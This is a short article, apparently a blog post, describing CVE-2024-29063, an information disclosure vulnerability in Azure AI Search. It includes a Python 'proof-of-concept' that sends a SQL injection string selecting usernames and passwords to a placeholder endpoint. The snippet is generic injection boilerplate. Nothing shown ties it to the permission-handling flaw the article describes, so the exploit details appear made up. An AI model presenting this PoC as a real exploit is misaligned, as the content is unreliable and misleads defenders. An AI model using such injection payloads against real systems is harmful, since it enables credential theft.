Security researchers have recently disclosed a severe vulnerability in Azure AI Search, affecting numerous users around the world. Tagged with CVE-2024-29063, this critical vulnerability can lead to unauthorized information disclosure by malicious actors, thus putting confidential data at high risk. As more and more organizations are relying on Azure AI services, it is essential to be aware of all the details surrounding this security flaw and how it could be exploited.

Description

CVE-2024-29063 refers to an information disclosure vulnerability identified within Microsoft's Azure AI Search. This flaw could allow an attacker to access sensitive information on the targeted system without the required permissions, potentially leading to serious compromise of data security and integrity.

Exploit Details

The vulnerability stems from improper handling of access permissions when processing search queries within the Azure AI Search component. Attackers with knowledge of this vulnerability can manipulate search queries to access the confidential information of other users or systems.

A proof-of-concept code snippet demonstrating the exploitation of this vulnerability

import requests

# Target server and vulnerable endpoint
url = "https://TARGET_AZURE_AI_SERVER/vuln_endpoint";

# Malicious search query
malicious_query = "'; SELECT username, password FROM users_table; --"

# Adding the malicious query to the request payload
payload = {
    "searchQuery": malicious_query
}

# Execute the search request with the malicious payload
response = requests.get(url, json=payload)

# Print the retrieved sensitive data
print(response.text)

This sample code demonstrates how an attacker can exploit the vulnerability by injecting an arbitrary search query, thereby retrieving confidential user data from the target system.
